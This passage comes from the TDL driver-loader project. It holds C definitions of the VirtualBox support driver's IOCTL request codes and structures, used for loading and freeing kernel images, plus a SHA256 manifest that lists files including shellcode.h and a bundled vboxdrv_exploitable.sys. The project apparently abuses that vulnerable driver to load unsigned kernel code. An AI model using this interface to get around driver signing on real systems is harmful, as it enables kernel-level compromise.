164 | #define SUP_CTL_CODE_SIZE(Function, Size) CTL_CODE(FILE_DEVICE_UNKNOWN, (Function) | SUP_IOCTL_FLAG, METHOD_BUFFERED, FILE_WRITE_ACCESS)
165 | #define SUP_CTL_CODE_BIG(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, (Function) | SUP_IOCTL_FLAG, METHOD_BUFFERED, FILE_WRITE_ACCESS)
166 | #define SUP_CTL_CODE_FAST(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, (Function) | SUP_IOCTL_FLAG, METHOD_NEITHER, FILE_WRITE_ACCESS)
167 | #define SUP_CTL_CODE_NO_SIZE(uIOCtl) (uIOCtl)
168 |
169 | /** The magic value. */
170 | #define SUPREQHDR_FLAGS_MAGIC UINT32_C(0x42000042)
171 | /** The default value. Use this when no special stuff is requested. */
172 | #define SUPREQHDR_FLAGS_DEFAULT SUPREQHDR_FLAGS_MAGIC
173 | #define VERR_INTERNAL_ERROR (-225)
174 | #define SUPCOOKIE_MAGIC "The Magic Word!"
175 | #define SUPDRV_IOC_VERSION 0x001a0007
176 | /** The request size. */
177 | #define SUP_IOCTL_COOKIE_SIZE sizeof(SUPCOOKIE)
178 | /** Negotiate cookie. */
179 | #define SUP_IOCTL_COOKIE SUP_CTL_CODE_SIZE(1, SUP_IOCTL_COOKIE_SIZE)
180 |
181 | /** There is extra input that needs copying on some platforms. */
182 | #define SUPREQHDR_FLAGS_EXTRA_IN UINT32_C(0x00000100)
183 | /** There is extra output that needs copying on some platforms. */
184 | #define SUPREQHDR_FLAGS_EXTRA_OUT UINT32_C(0x00000200)
185 |
186 | /** @name SUP_IOCTL_SET_VM_FOR_FAST
187 | * Set the VM handle for doing fast call ioctl calls.
188 | * @{
189 | */
190 | #define SUP_IOCTL_SET_VM_FOR_FAST SUP_CTL_CODE_SIZE(19, SUP_IOCTL_SET_VM_FOR_FAST_SIZE)
191 | #define SUP_IOCTL_SET_VM_FOR_FAST_SIZE sizeof(SUPSETVMFORFAST)
192 | #define SUP_IOCTL_SET_VM_FOR_FAST_SIZE_IN sizeof(SUPSETVMFORFAST)
193 | #define SUP_IOCTL_SET_VM_FOR_FAST_SIZE_OUT sizeof(SUPREQHDR)
194 | #define SUP_IOCTL_FAST_DO_NOP SUP_CTL_CODE_FAST(66)
195 |
196 | #define SUP_IOCTL_LDR_OPEN SUP_CTL_CODE_SIZE(5, SUP_IOCTL_LDR_OPEN_SIZE)
197 | #define SUP_IOCTL_LDR_OPEN_SIZE sizeof(SUPLDROPEN)
198 | #define SUP_IOCTL_LDR_OPEN_SIZE_IN sizeof(SUPLDROPEN)
199 | #define SUP_IOCTL_LDR_OPEN_SIZE_OUT (sizeof(SUPREQHDR) + RT_SIZEOFMEMB(SUPLDROPEN, u.Out))
200 |
201 | #define SUP_IOCTL_LDR_LOAD SUP_CTL_CODE_BIG(6)
202 | #define SUP_IOCTL_LDR_LOAD_SIZE(cbImage) RT_UOFFSETOF(SUPLDRLOAD, u.In.achImage[cbImage])
203 | #define SUP_IOCTL_LDR_LOAD_SIZE_IN(cbImage) RT_UOFFSETOF(SUPLDRLOAD, u.In.achImage[cbImage])
204 | #define SUP_IOCTL_LDR_LOAD_SIZE_OUT sizeof(SUPREQHDR)
205 |
206 | /** @name SUP_IOCTL_LDR_FREE
207 | * Free an image.
208 | * @{
209 | */
210 | #define SUP_IOCTL_LDR_FREE SUP_CTL_CODE_SIZE(7, SUP_IOCTL_LDR_FREE_SIZE)
211 | #define SUP_IOCTL_LDR_FREE_SIZE sizeof(SUPLDRFREE)
212 | #define SUP_IOCTL_LDR_FREE_SIZE_IN sizeof(SUPLDRFREE)
213 | #define SUP_IOCTL_LDR_FREE_SIZE_OUT sizeof(SUPREQHDR)
214 |
215 | typedef struct _SUPLDRFREE {
216 | /** The header. */
217 | SUPREQHDR Hdr;
218 | union
219 | {
220 | struct
221 | {
222 | /** Address. */
223 | RTR0PTR pvImageBase;
224 | } In;
225 | } u;
226 | } SUPLDRFREE, *PSUPLDRFREE;
227 |
--------------------------------------------------------------------------------
/TDL.sha256:
--------------------------------------------------------------------------------
1 | a761bbb4a1b7813132dc8d8ed526d24289dc603bc706da238e1f23d75dbd66aa *Compiled\dummy.sys
2 | f6610691bc3b9f96dad8bfc00b3ceb939ebcb17844d1ca5ee26f8364944ca110 *Compiled\dummy2.sys
3 | 37805cc7ae226647753aca1a32d7106d804556a98e1a21ac324e5b880b9a04da *Compiled\Furutaka.exe
4 | 14eec2753d0e9b432c54c4a70fc59e3be75674313b6308a7a820e6682f775eb9 *Source\DummyDrv\dummy.sln
5 | d61ebda2674d2db05a235478f89fed02c2de049b00ac5648fcebd4c4e638f71c *Source\DummyDrv\dummy\dummy.vcxproj
6 | 2d469aafdb7e37a2d58d4e7875abbfd27599762333cba8e28376c16fa7446e9c *Source\DummyDrv\dummy\dummy.vcxproj.filters
7 | d45cf40c855a135898e4b35d0b5b2d00e3ad251a97d3f47990248116f22ff45e *Source\DummyDrv\dummy\dummy.vcxproj.user
8 | 4c86a0477e8f21e81bc6651bc06cea26241fc5b9a033e64c3cd843267fc98575 *Source\DummyDrv\dummy\main.c
9 | 14eec2753d0e9b432c54c4a70fc59e3be75674313b6308a7a820e6682f775eb9 *Source\DummyDrv2\dummy.sln
10 | f9a718ca087a1dce71638855837c464b190b7310f8e6715fc4471ed2b85af27d *Source\DummyDrv2\dummy\dummy.vcxproj
11 | f53e8133a9d12b751445ed57f4574bbeba722d26096196f544ed1794adf699f4 *Source\DummyDrv2\dummy\dummy.vcxproj.filters
12 | d45cf40c855a135898e4b35d0b5b2d00e3ad251a97d3f47990248116f22ff45e *Source\DummyDrv2\dummy\dummy.vcxproj.user
13 | 1e73ce5b6b079e6986509c218ce0880536b37c505056f831989e73b835c1cbbc *Source\DummyDrv2\dummy\main.c
14 | f0732da25aa6b0a64eb0ebfc730c0902ed6fd1cc51f43f66813adbc5283de6ec *Source\DummyDrv2\dummy\main.h
15 | 10b9fe09b9357cb3c35a00a8b09ae24141ec5941a37c461c2a296d822aa2b512 *Source\DummyDrv2\dummy\r3request.c
16 | 27b89ba25c1620f7f46af4a239d6a18b71b9b689ea33eb7ab099e0b039cdf21f *Source\Furutaka\cui.c
17 | 3058dea6894b1ca7bcff8896b35080c0ddfa1c541e7e505792cbac65dea9d0d9 *Source\Furutaka\cui.h
18 | 24bd86affa81071e8e4ba82368e6004ede1c4dd5234c21098c4e7563ee25721a *Source\Furutaka\Furutaka.sln
19 | fa3af80e10c1824e99fcf2e4d5cec3cb4974d1eb35035f5a62fac67a44170c68 *Source\Furutaka\Furutaka.vcxproj
20 | b28c810f46cd167ac65996dd850ac0743756a76a928ea445bb3d255d5200c5b7 *Source\Furutaka\Furutaka.vcxproj.filters
21 | feebf1c788d97bd616267c136e88fdf21f4ba09f528507cdf8a2659d1dd0a8cd *Source\Furutaka\Furutaka.vcxproj.user
22 | 4b16411f96538d38f05b5d949710ace54839d4a9aee9dcc2a61a4b2f4dbfc9cc *Source\Furutaka\global.h
23 | 94cbbb81022dbd0205a3e7ede89775b43f9f45e934a3079fdb7f5217d8794fe0 *Source\Furutaka\instdrv.c
24 | 33b8666748f027ff93707e6e2a1b52303c3664399000ff18b4a8fe864b731640 *Source\Furutaka\instdrv.h
25 | 2525f63ec3f9fb008edaffb7ff7f970d6777ddaf8511f60a95326f60f6ed80f0 *Source\Furutaka\main.c
26 | 5b0b4376df8fb5b43d8a0d4130ad3523d4325718ea4991d11498961f33e7e38d *Source\Furutaka\ntos.h
27 | fe6f865af4e22a2f7e1349891e935d7825caf08a06993d4e24d1596dab77963e *Source\Furutaka\resource.h
28 | 140441e10f8ff80be91ed5d1fa30cd099bb6e02b97434926d14048006bdaec8f *Source\Furutaka\resource.rc
29 | 6f8ae02b3a6da025d5f918080e70245760d472dd5eb23fcc3964d425bee41336 *Source\Furutaka\shellcode.h
30 | 109d895924e1b581ad42374b7bf0307fe62ab352f7dee082161f9066e3778d5d *Source\Furutaka\sup.c
31 | 526bb1070e50c733ae931ea4bfb48d8aba0b1efbd2818818d2af2b6d160b5673 *Source\Furutaka\sup.h
32 | 12a9c986e4589a613e4d8e0e30a7bfa41191283a53b2eafab3483b0884a93d82 *Source\Furutaka\vbox.h
33 | cf3a7d4285d65bf8688215407bce1b51d7c6b22497f09021f0fce31cbeb78986 *Source\Furutaka\drv\vboxdrv_exploitable.sys
34 | 893b90b942372928009bad64f166c7018701497e4f7cd1753cdc44f76da06707 *Source\Furutaka\minirtl\cmdline.c
35 | bd6fe82852c4fcdfab559defa33ea394b752a4e4a5ac0653ae20c4a94b0175ed *Source\Furutaka\minirtl\cmdline.h
36 | 107245437ed86b6f1e839b2d3d9bbadb3d9980046cb5c7001f985fed3627962f *Source\Furutaka\minirtl\minirtl.h
37 | b9de99d3447bb1a125cb92aa1b3f9b56a59522436f1a1a97f23aac9cee90341c *Source\Furutaka\minirtl\rtltypes.h
38 | e56e67b10a67f0d5ef4128c7ab0c6cb9ba9966916720525edfa6abf3101dfe13 *Source\Furutaka\minirtl\u64tohex.c
39 | 4d15af5a22467795c5367c3956746d01424795784f62ca3f30e4619c063338a5 *Source\Furutaka\minirtl\u64tostr.c
40 | f81c975acd016c97776dd3a8e3218e148682b0336ff3fcd77fad6d9b86ddf107 *Source\Furutaka\minirtl\ultohex.c
41 | 9cbedf9b92abaef3ea28de28dd523ac44079592178ef727c7003c339a5a54712 *Source\Furutaka\minirtl\ultostr.c
42 | 83772aa217508279294d91af5cfabec9b5e00b836a2e2f5fe37cf1ebc2905a52 *Source\Furutaka\minirtl\_strcat.c
43 | ef1b18997ea473ac8d516ef60efc64b9175418b8f078e088d783fdaef2544969 *Source\Furutaka\minirtl\_strcmpi.c
44 | 969b35213fa23ff50a169e5498a97f28bc6f5820b447b78ec9dc6910dd8cc3e8 *Source\Furutaka\minirtl\_strcpy.c
45 | 27159b8ff67d3f8e6c7fdb4b57b9f57f899bdfedf92cf10276269245c6f4e066 *Source\Furutaka\minirtl\_strend.c
46 | 60f19c6b805801e13824c4d9d44748da8245cd936971411d3d36b873121888eb *Source\Furutaka\minirtl\_strlen.c
47 | 87cc72bb8e3f1534bee09ee278ecd928d975ebb94aeffc767b67249815a0bf3a *Source\Furutaka\minirtl\_strncmpi.c
48 |
--------------------------------------------------------------------------------